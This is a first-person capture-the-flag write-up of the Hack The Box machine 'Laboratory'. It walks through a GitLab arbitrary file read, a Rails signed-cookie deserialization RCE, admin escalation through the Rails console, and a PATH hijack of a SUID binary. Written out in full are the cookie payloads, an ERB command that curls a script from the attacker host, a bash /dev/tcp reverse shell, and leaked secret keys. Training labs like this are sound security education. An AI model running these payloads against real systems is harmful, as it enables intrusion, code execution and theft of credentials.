Hack The Box Writeup: Laboratory (

This box has to be the toughest one I have done until now. Easy box? Hell no! With a current rating of 4.5, it is higher than most of the Medium level boxes. I started this one off with my brother in arms T13nn3s during a pizza and hack evening at work. Be sure to check out his blog.

[0x1] Reconnaissance & Enumeration

Let’s start this box with a Nmap scan to see which ports are available. It is not much, but there are two active ports which I can use. Port 80 gets redirected to https://laboratory.htb so that one doesn’t appear to be interesting.

nmap -sC -sV -p- -oA laboratory-allports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-20 11:14 EST
Nmap scan report for laboratory (
Host is up (0.057s latency).
Not shown: 65532 filtered ports
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

When opening the website there is a certificate warning. This is always nice because when you look at the certificate you can see if there are any other hostnames used for this box. As the Nmap already revealed, there is a second domain running on the box under the url: https://git.laboratory.htb. First, let’s check out the current site for anything interesting.

The main website does not really have anything interesting on it. No usernames or clues to information that is usable. So for now, I will let this page be it boring self.

The newfound DNS names appear to be a hosted GitLab Community Edition service. This must be the way to the initial foothold.

[0x2] Initial Foothold

The first thing I tried was to create an account on the website to see what would happen. This worked without any problems. After clicking around, I created some projects within the application but there was nothing out of the ordinary there.

After some searching around we stumbled upon an article about an Arbitrary File Read vulnerability in GitLab. It was disclosed on HackerOne and present in the running version on this box, namely 12.8.1. The way to exploit the vulnerability is to create an Issue in a project, use the payload as the text, and then save it. Now you move it to another project and the requested file is added as an attachment. The reason this works is that there is no validation of the filenames to be copied when you move an issue to another project. So to see if it worked we used the payload below for the /etc/passwd file.


Now that our Issue is created, we can proceed with the movement to another project. As you can see below the “getPasswdIssue” text, there is no attachment, only the letter ‘a’.

After the move is complete, the ‘a’ changes to a paperclip icon with the name of the file attached.

When opening the attachment, the users from the passwd file and shown perfectly. This might come in handy for the future.

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false 
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

Having the File Read possibility is nice to have. But, what are we going to grab next? When reading through the vulnerability disclosure on HackerOne we noticed that there was also a payload described for achieving Remote Code Execution. Since one part of this was to grab the secrets.yml file from the box, the Arbitrary File Read payload came in handy again. Let’s repeat the process, but this time grab the secrets.yml file in /opt/gitlab/embedded/service/gitlab-rails/config/.


And there we have it, the secrets.yml file nicely grabbed from the box, using the Arbitrary File Read vulnerability.

secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

To get to the stage of using this file in an RCE attack, you need to locally install GitLab. This way you have a local Ruby on Rails which is needed to build the payload. Some people used the docker container for this, but I installed Gitlab locally on my machine. Since I can easily revert a snapshot after this box, I don’t mind the clutter.

I downloaded the installation file from the GitLab website. In my case that was gitlab-ce_12.8.1-ce.o_amd64.deb. After the download, it can be installed using dpkg.

sudo dpkg -i ~/Downloads/gitlab-ce_12.8.1-ce.0_amd64.deb 

Selecting previously unselected package gitlab-ce.
(Reading database ... 358190 files and directories currently installed.)
Preparing to unpack .../gitlab-ce_12.8.1-ce.0_amd64.deb ...
Unpacking gitlab-ce (12.8.1-ce.0) ...
Setting up gitlab-ce (12.8.1-ce.0) ...
It looks like GitLab has not been configured yet; skipping the upgrade script.

       *.                  *.                                                                                                                                                                                                              
      ***                 ***                                                                                                                                                                                                              
     *****               *****                                                                                                                                                                                                             
    .******             *******                                                                                                                                                                                                            
    ********            ********                                                                                                                                                                                                           
     _______ __  __          __                                                                                                                                                                                                            
    / ____(_) /_/ /   ____ _/ /_                                                                                                                                                                                                           
   / / __/ / __/ /   / __ `/ __ \                                                                                                                                                                                                          
  / /_/ / / /_/ /___/ /_/ / /_/ /                                                                                                                                                                                                          
Thank you for installing GitLab!
GitLab was unable to detect a valid hostname for your instance.
Please configure a URL for your GitLab instance by setting `external_url`
configuration in /etc/gitlab/gitlab.rb file.
Then, you can start your GitLab instance by running the following command:
  sudo gitlab-ctl reconfigure

When the installation is finished, which takes a few minutes, you have to reconfigure GitLab as stated in the instructions. This will also take a few minutes.

gitlab-ctl reconfigure

Now that GitLab is setup, there is one thing left to do. Making sure that the secrets.yml file contains the secret_key_base value grabbed using the Arbitrary File Read.

nano opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

  db_key_base: 63416a838bdd04fa3e48281cc041048a2dd5b2e7fb548b6412adf4318c080fa8d07bffea2235f868ac4c4ae5a3e8a73124e768e08cfab08056e88b9f573131bd
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: c1017c34798618ccd58869435107fb037497ef0aa93423bbebf305a7411cea83a58e14d3786fa8a7b0df668537b8ea9e953a615bfcfb28c3f4aa0a92e52d35c7
  openid_connect_signing_key: |

Now that everything is setup, it’s time to start the gitlab-rails console and create the payload.

gitlab-rails console

 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
Loading production environment (Rails 6.0.2)

Since my goal is to get RCE and create a reverse shell, I first create a bash script with a simple reverse shell command to my machine.

bash -i >& /dev/tcp/ 0>&1

The reverse shell script will be downloaded from the box. Using Python the file is served on a web server at port 8000.

python3 -m http.server 8000
Serving HTTP on port 8000 ( 

Now I use the payload from the writeup and replace the value for erb. Using curl, the reverse shell script gets downloaded from the local running webserver and stored in /tmp/. After entering the payload in the console the cookie gets generated. This cookie value will be the payload to use for running a command on the server.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl -o /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

The output cookie is a large string you can simple copy.


Using curl towards the sign_in function of GitLab with our evil cookie, the server gets the command and runs it. Within the Python server, you can see the file being served. Since this box does not have a valid certificate but runs HTTPS, the -k parameter is needed to ignore the certificate warning.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjY0OjgwMDAvcmV2c2hlbGwuc2ggLW8gL3RtcC9yZXZzaGVsbC5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d153f664a22b6fe0cf8e236df7ac59fff7ba5db3" -k

Since the first payload placed the file on the server, I repeat the action to actually run the downloaded payload on the box.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Before firing off the cookie to the server, I set up a listener on port 1337 (because hacker).

netcat -lvnp 1337 
listening on [any] 1337 ...

Now for the final payload using the generated cookie to the GitLab server.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiVyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvcmV2c2hlbGwuc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--fe7c199c590a5328b4268085052665332d7b64d0" -k

Bam! Remote Code Execution and a reverse shell. I entered the box as the user ‘git’.

listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 60322
bash: cannot set terminal process group (393): Inappropriate ioctl for device 
bash: no job control in this shell
git@git:/$ whoami;id;hostname
uid=998(git) gid=998(git) groups=998(git)

[0x3] Path to User flag

The first thing I checked was the presence of the user flag. I kinda hoped to have that milestone reached, but unfortunately no flag. I did notice the presence of a .dockerenv file. This means I am in a container on a Docker host, not an actual machine. Damn!

git@git:/$ls -sla

ls -sla
total 88
4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 .
4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 ..
0 -rwxr-xr-x 1 root root 0 Jul 2 18:01 .dockerenv
4 -rw-r--r-- 1 root root 157 Feb 24 2020 RELEASE 
4 drwxr-xr-x 2 root root 4096 Feb 24 2020 assets 
4 drwxr-xr-x 1 root root 4096 Feb 24 2020 bin
4 drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
4 drwxr-xr-x 1 root root 4096 Feb 12 2020 usr
4 drwxr-xr-x 1 root root 4096 Feb 12 2020 var

After searching around for a while, someone in the community gave me a hint. “Use the same console, but see if you can make the current user more powerful”. With this information, I launched the Rails console again and started looking for a user command.

git@git:~/gitlab-rails/shared$ gitlab-rails console

gitlab-rails console

 GitLab: 12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL: 10.12
Loading production environment (Rails 6.0.2)
Switch to inspect mode. 

I used the command user.column_names to see what properties are included for a user. One of the properties is ‘admin’. Interesting….


#There is a field named admin as aproperty for the user

["id", "email", "encrypted_password", "reset_password_token", "reset_password_sent_at", "remember_created_at", "sign_in_count", "current_sign_in_at", "last_sign_in_at", "current_sign_in_ip", "last_sign_in_ip", "created_at", "updated_at", "name", "admin", "projects_limit", "skype", "linkedin", "twitter", "bio", "failed_attempts", "locked_at", "username", "can_create_group", "can_create_team", "state", "color_scheme_id", "password_expires_at", "created_by_id", "last_credential_check_at", "avatar", "confirmation_token", "confirmed_at", "confirmation_sent_at", "unconfirmed_email", "hide_no_ssh_key", "website_url", "admin_email_unsubscribed_at", "notification_email", "hide_no_password", "password_automatically_set", "location", "encrypted_otp_secret", "encrypted_otp_secret_iv", "encrypted_otp_secret_salt", "otp_required_for_login", "otp_backup_codes", "public_email", "dashboard", "project_view", "consumed_timestep", "layout", "hide_project_limit", "note", "unlock_token", "otp_grace_period_started_at", "external", "incoming_email_token", "organization", "auditor", "require_two_factor_authentication_from_group", "two_factor_grace_period", "ghost", "last_activity_on", "notified_of_own_activity", "preferred_language", "email_opted_in", "email_opted_in_ip", "email_opted_in_source_id", "email_opted_in_at", "theme_id", "accepted_term_id", "feed_token", "private_profile", "roadmap_layout", "include_private_contributions", "commit_email", "group_view", "managing_group_id", "bot_type", "first_name", "last_name", "static_object_token", "role"]

You can select a user and see if it’s admin using the user.find_by command and after that check if it’s has admin permissions. Using my signup email address it shows that I am not an admin.

myuser=User.find_by(email: "d0p4m1n3mail@laboratory.htb")
#<User id:5 @d0p4m1n3>


At this moment I started to love the power of Ruby instantly. You can simply change the value of a user attribute by setting its value. So I changed the value for admin to true and saved it. After repeating the command above, I noticed that I now am an admin.



When I started to look around on the GitLab website, I got really excited. Now that I am an admin, there are two private projects visible. And the last one has the name “SecureDocker”. That must be where the loot is.

When opening the project there is a repo with some information. Also, a folder named “Dexter’. I have seen this name before on the default website, so that could maybe be the next user I need.

And this is exactly what I was looking for. An SSH key for the user Dexter.

Let’s save this key in a file for usage with the ssh client.


The key is valid and using SSH, I can now connect to the box as Dexter.

dexter@laboratory.htb -i ssh_key.txt

dexter@laboratory:~$ whoami;id;hostname
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)

There better be a user flag in here. And fortunately, there is.

dexter@laboratory:~$ ls -la

total 40

drwxr-xr-x 6 dexter dexter 4096 Oct 22 08:42 .
drwxr-xr-x 3 root root 4096 Jun 26 20:17 ..
lrwxrwxrwx 1 root root 9 Jul 17 15:19 .bash_history -> /dev/null
-rw-r--r-- 1 dexter dexter 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 dexter dexter 3771 Feb 25 2020 .bashrc
drwx------ 2 dexter dexter 4096 Jun 26 20:29 .cache
drwx------ 2 dexter dexter 4096 Oct 22 08:14 .gnupg
drwxrwxr-x 3 dexter dexter 4096 Jun 26 20:48 .local
-rw-r--r-- 1 dexter dexter 807 Feb 25 2020 .profile
drwx------ 2 dexter dexter 4096 Jun 26 21:21 .ssh
-r--r----- 1 root dexter 33 Nov 20 16:11 user.txt

dexter@laboratory:~$ cat user.txt 

[0x4] Path to Root flag

Now the only step left is the privilege escalation to root. I used linpeas first, but this did not really give me what I was looking for. Time for LinEnum.


LinEnum found an interesting SUID file. On this file, Dexter has permissions. Usually, this means “bingo”.

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security

When checking the content of the docker-security file, there is a lot of jibberish. This is due to the fact that I am using cat to read it. As you can see, it calls chmod two times.

Using a Privilege Escalation using Path variable, you can trick the machine into executing a program in the current direction first, instead of the actual location. When you have a (.) in your Path, you could execute a command, in my case chmod in the location you are currently are. We know the docker-security program runs chmod. So why not create a file called chmod and put it in a bash shell. When the attack works, the chmod file in the current directory will be run, instead of the one in /usr/bin.

echo "/bin/bash" > chmod
chmod +x chmod
export PATH=.:${PATH}

When I run the docker-security program while in /tmp/ chmod gets executed and the root shell appears.

root@laboratory:/tmp# whoami;id;hostname

uid=0(root) gid=0(root) groups=0(root),1000(dexter)

Finally, this box is rooted. I have no idea who put the label “Easy” on this box because it scores higher than some Hard boxes. Nevertheless, it’s done!

root@laboratory:/tmp# cat /root/root.txt

[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.